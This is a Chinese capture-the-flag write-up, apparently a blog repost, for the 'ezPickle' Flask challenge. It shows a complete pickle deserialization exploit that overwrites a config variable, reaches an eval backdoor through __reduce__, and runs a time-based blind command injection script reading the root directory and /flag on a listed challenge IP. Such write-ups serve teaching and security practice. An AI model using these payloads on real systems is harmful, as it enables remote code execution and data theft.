1. 程式人生 > 其它 >“強網”擬態防禦國際精英挑戰賽-預選賽-web-ezPickle

“強網”擬態防禦國際精英挑戰賽-預選賽-web-ezPickle

ezPickle

貌似拿到了非預期解

首先下載原始碼

app.py

from flask import Flask, request, session, render_template_string, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        
if module in ['config'] and "__" not in name: return getattr(sys.modules[module], name) raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name)) def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() @app.route(
'/') def index(): info = request.args.get('name', '') if info is not '': x = base64.b64decode(info) User = restricted_loads(x) return render_template_string('Hello') if __name__ == '__main__': app.run(host='0.0.0.0', debug=True, port=5000)

這裡存在pickle反序列化

config.py

notadmin={"
admin":"no"} def backdoor(cmd): if notadmin["admin"]=="yes": s=''.join(cmd) eval(s)

存在一個可以執行eval的後門

簡單分析程式碼,就是傳入name引數,對他進行反序列化,這裡注意他重寫了find_class方法,當反序列化的時候會對模組就行檢測,只允許config模組,同時序列化物件名字不含有 _

我們的目的很顯然是執行config.py裡的backdoor函式,但是反序列怎麼執行到這個函式?這裡利用__reduce__

__reduce__,指令碼為R
取當前棧的棧頂記為args,然後把它彈掉。
取當前棧的棧頂記為f,然後把它彈掉。
以args為引數,執行函式f,把結果壓進當前棧。

我們可以自己構件一個類,寫它的__reduce__方法,利用__reduce__來呼叫backdoor函式

但是還有一個問題沒解決,就是backdoor函式有一句話:if notadmin["admin"]=="yes"

我們要想辦法讓admin等於yes,這裡用到ezPickle的變數覆蓋,

嘗試構造

\x80\x03cconfig\nnotadmin\n(Vadmin\nVyes\nu0

用pickletools分析:

就是取config裡的notadmin,同時將admin和yes壓入棧,在組合,輸出。這樣就完成對變數的覆蓋。

同時再把前面反序列化的結果加到構造語句後面(注意開頭重複去掉),即可實現執行eval函式(沒回顯不好測試)

但是如何利用eval呢?經過測試發現環境不能連外網,同時沒回顯,也不好讀檔案(寫檔案不知道可不可以,寫了也不好讀,但是估計不行,畢竟是靜態靶機)。

通過後臺掃描可以發現後臺,但是要輸入正確的pin碼。

這裡我估計我非預期了(畢竟沒求出pin碼,進入後臺)

這裡我採用盲注來嘗試讀取檔案目錄:

if [ `ls /|awk "NR=={0}"|cut -c {1} ` == {2} ];then sleep 3 ;fi

這串命令是列印根目錄,awk "NR=={0}"是取第幾行,cut -c是取第幾個字元,在和每一個字元比較,如果成功就停止3秒

但是經過測試可以發現基本不存在停止,後來經過大量測試發現,它可能過濾==

因為 `ls /|awk "NR=={0}"|cut -c {1} ` != {2} 會發現有明顯的停頓,那就反向來做,利用不等於,停止的是錯誤的,反之立刻有回覆的是正確的

構造指令碼:

config.py

notadmin={"admin":"yes"}

def backdoor(cmd):
    if notadmin["admin"]=="yes":
        s=''.join(cmd)
        print(s)
        eval(s)

main.py

import pickle
import pickletools
import io
import sys
import base64
import random
import urllib
import os
import subprocess
import requests
import time
import string
import __main__
from urllib import parse
from config import backdoor



str='-'+'+'+'_'+'{'+'}'+string.ascii_letters+string.digits
result=""
for i in range(1,5):
    key=0
    for j in range(1,50):
        if key==1:
            break
        for n in str:
            payload='if [ `ls /|awk "NR==1"|cut -c {1} ` != {2} ];then sleep 0.15 ;fi'.format(i,j,n)
            #payload='if [ `cat /flag|cut -c {1} ` != {2} ];then sleep 0.15 ; fi'.format(i,j,n)

            class aaa(object):
                def __reduce__(self):
                    return (backdoor,("__import__('os').system('"+payload+"')",))
            print(payload)
            k="gANjY29uZmlnCm5vdGFkbWluCihWYWRtaW4KVnllcwp1MA=="
            t=(base64.b64decode(k))
            a = aaa()
            a=(pickle.dumps(a,protocol=3))
            a=a[2:]
            a=t+a
            #print(a)
            b=base64.b64encode(a)
            c= bytes.decode(b)
            #print(c)
           
            url="http://124.71.183.254:32769/?name="+c
            try:
                requests.get(url,timeout=(0.15 ,0.15 ))
                result=result+n
                print(result)
                break
            except:
                continue
            if n=='9':
                key=1
    result+=" "

列印目錄:

查詢flag:

hint:比賽當天環境很惡劣(因此又加了3個靶機),因此sleep時間可以修改